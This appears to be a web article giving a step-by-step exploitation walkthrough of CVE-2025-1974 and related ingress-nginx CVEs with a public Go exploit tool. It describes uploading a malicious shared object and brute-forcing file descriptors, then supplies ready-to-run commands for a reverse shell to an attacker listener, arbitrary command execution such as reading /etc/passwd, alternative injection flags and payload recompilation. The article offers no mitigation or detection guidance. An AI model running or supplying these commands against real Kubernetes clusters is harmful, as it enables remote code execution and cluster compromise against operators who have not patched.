How to Exploit CVE-2025-1974 in ingress-nginx: The Ingress Nightmare Attack Chain
Ingress Nightmare achieves remote code execution (RCE) on vulnerable ingress-nginx controllers by uploading a malicious shared object through the admission webhook validation path and brute-forcing file descriptors to force NGINX to load the payload via an ssl_engine directive.
CVE-2025-1974 represents a critical vulnerability in the ingress-nginx controller's admission webhook implementation. The open-source tool esonhugh/ingressnightmare-cve-2025-1974-exps provides a complete Go-based exploitation framework that automates this complex multi-stage attack. By leveraging the way NGINX caches request bodies and the webhook's configuration validation logic, attackers can escalate from webhook access to full cluster compromise.
Understanding the CVE-2025-1974 Exploitation Chain
The exploit operates through four distinct phases that progressively compromise the target pod. Each phase targets specific behaviors in the ingress-nginx controller's request handling and configuration validation processes.
Phase 1: Malicious Shared Object Upload
The attack begins by forcing the NGINX worker to cache a malicious payload as a temporary file. The BadUploader function in nginx-ingress/exploit.go crafts a raw HTTP POST request that streams a buffered payload to the target upload URL. This long, buffered request causes NGINX to write the request body to the pod's filesystem as a temporary file, which later serves as the malicious shared object (danger.so).
The implementation streams the payload defined in nginx-ingress/payload.go directly to the target, ensuring the file remains open in the NGINX worker process while subsequent phases execute.
Phase 2: Admission Webhook Injection
Next, the tool triggers the validating admission webhook to write a temporary NGINX configuration that references the cached file. The ValidateWebhookSpecificFilePath function in nginx-ingress/exploit.go constructs a traversal path like ../../../../..{evilFile} and injects it into the admission JSON template (nginx-ingress/validate.json).
When the webhook receives this request, it processes the malicious path and prepares to validate the configuration, setting up the conditions for arbitrary file loading.
Phase 3: File Descriptor Brute-Force
The core of the CVE-2025-1974 exploit lies in brute-forcing the correct file descriptor of the cached request body. When the webhook runs nginx -t to validate the configuration, it loads the ssl_engine module from the supplied path. The Exploit function in nginx-ingress/exploit.go spawns goroutines that iterate over configurable PID and FD ranges via --pid-range-* and --fd-range-* flags, calling ValidateWebHook for each combination.
Eventually, the correct PID/FD pair hits the still-open file descriptor of the uploaded shared object, causing NGINX to load it into the worker process.
Phase 4: Payload Execution
Once the shared object loads, execution transfers to the attacker's code. The embedded danger.c source (compiled into danger.so) contains a small loader that checks a mode flag and spawns either a reverse shell, bind shell, or executes arbitrary commands. The payload.go file performs byte-level replacements to embed attacker-controlled IP addresses, ports, or commands into the binary before upload, ensuring the payload connects back to the specified listener.
Key Components of the Ingress Nightmare Tool
The repository organizes functionality across several critical files that handle different aspects of the exploitation chain:
main.go: Serves as the CLI entry point, parsing flags and orchestrating the upload and webhook validation phases.nginx-ingress/exploit.go: Contains the core exploit logic includingBadUploader,ValidateWebhookSpecificFilePath, and the PID/FD brute-force loops in theExploitfunction.nginx-ingress/payload.go: Generates reverse-shell, bind-shell, and command payloads by patching the embedded shared object at the byte level.nginx-ingress/validate.json: Provides the JSON template for admission webhook requests, with placeholder values replaced at runtime.nginx-ingress/danger.c: The embedded C source for the malicious shared object, which can be recompiled for different target architectures.
Exploitation Walkthrough
Deploying this exploit requires targeting both the admission webhook endpoint and the NGINX upload endpoint. The tool supports multiple attack vectors across related CVEs.
Prerequisites and Target Setup
Identify the target URLs for both the admission webhook and the NGINX controller. Set environment variables for the webhook URL and upload URL:
export INGRESS_WEBHOOK_URL=https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443
export UPLOAD_URL=http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80
Basic Reverse Shell Attack
To establish a reverse shell connection, specify the remote host and port with the reverse shell mode flag:
./ingressnightmare \
-m r \
-r 10.0.0.42 \
-p 4444 \
-i $INGRESS_WEBHOOK_URL \
-u $UPLOAD_URL
This configures the payload to connect back to 10.0.0.42:4444 once the shared object loads successfully.
Command Execution via CVE-2025-24514
For arbitrary command execution using the auth-url injection vector (CVE-2025-24514), use command mode with the -c flag:
./ingressnightmare \
-m c \
-c 'id > /tmp/pwned' \
-i $INGRESS_WEBHOOK_URL \
-u $UPLOAD_URL
This executes the specified command within the ingress-nginx controller pod context.
Alternative Injection Vectors
The tool supports additional CVE variants through specific flags. For CVE-2025-1097 (auth-tls-match-cn injection), enable the match-CN flag and specify a secret name:
./ingressnightmare \
-m c \
-c 'whoami' \
-i $INGRESS_WEBHOOK_URL \
-u $UPLOAD_URL \
--is-match-cn \
--auth-secret-name kube-system/cilium-ca
For CVE-2025-1098 (mirror-uid injection), use the mirror-UID flag:
./ingressnightmare \
-m c \
-c 'cat /etc/passwd' \
-i $INGRESS_WEBHOOK_URL \
-u $UPLOAD_URL \
--is-mirror-uid
Dry-Run Mode and Custom Payloads
Before executing against a live target, verify the generated payload using dry-run mode:
./ingressnightmare -m r -r 10.0.0.42 -p 4444 -d
For ARM64 or other non-standard architectures, extract and recompile the embedded C source:
./ingressnightmare show-c > danger.c
gcc -fPIC -nostdlib -ffreestanding -fno-builtin -o danger.so danger.c -shared
./ingressnightmare -m c -c 'id' --so ./danger.so -i $INGRESS_WEBHOOK_URL -u $UPLOAD_URL
Summary
- Ingress Nightmare automates exploitation of CVE-2025-1974 through a multi-stage attack chain targeting the ingress-nginx admission webhook.
- The exploit uploads a malicious shared object via buffered HTTP requests, then forces NGINX to load it through the
ssl_enginedirective during configuration validation. - File descriptor brute-forcing against configurable PID/FD ranges locates the cached upload in the worker process memory.
- The tool supports multiple CVE variants including CVE-2025-24514, CVE-2025-1097, and CVE-2025-1098 through different injection vectors.
- Attackers can achieve reverse shells, bind shells, or arbitrary command execution depending on the selected mode flags.
Frequently Asked Questions
What is CVE-2025-1974 and how does it affect ingress-nginx?
CVE-2025-1974 is a critical remote code execution vulnerability in the ingress-nginx controller's admission webhook component. It allows attackers with access to the webhook validation endpoint to execute arbitrary code inside the controller pod by manipulating NGINX configuration validation to load malicious shared objects from the filesystem.
How does the file descriptor brute-force work in Ingress Nightmare?
The tool brute-forces the specific file descriptor of the cached request body by iterating through configurable ranges of process IDs and file descriptors using the --pid-range-* and --fd-range-* flags. According to nginx-ingress/exploit.go, the Exploit function spawns concurrent goroutines that attempt validation with different PID/FD combinations until the correct open file descriptor is found, causing NGINX to load the malicious shared object via the ssl_engine directive.
Can I use custom shared objects for different architectures?
Yes. The tool embeds the C source code for the malicious payload (danger.c) which you can extract using ./ingressnightmare show-c, then cross-compile for target architectures such as ARM64 using standard GCC flags like -fPIC -nostdlib -shared. Reference the compiled binary using the --so flag during exploitation.
What other CVEs does this tool exploit besides CVE-2025-1974?
According to the source code in main.go and nginx-ingress/exploit.go, the tool also implements attack vectors for CVE-2025-24514 (auth-url injection), CVE-2025-1097 (auth-tls-match-cn injection), and CVE-2025-1098 (mirror-uid injection), selectable through flags like --is-match-cn and --is-mirror-uid.
Have a question about this repo?
These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:
curl -s "https://instagit.com/install.md" Maintain an open-source project? Get it listed too →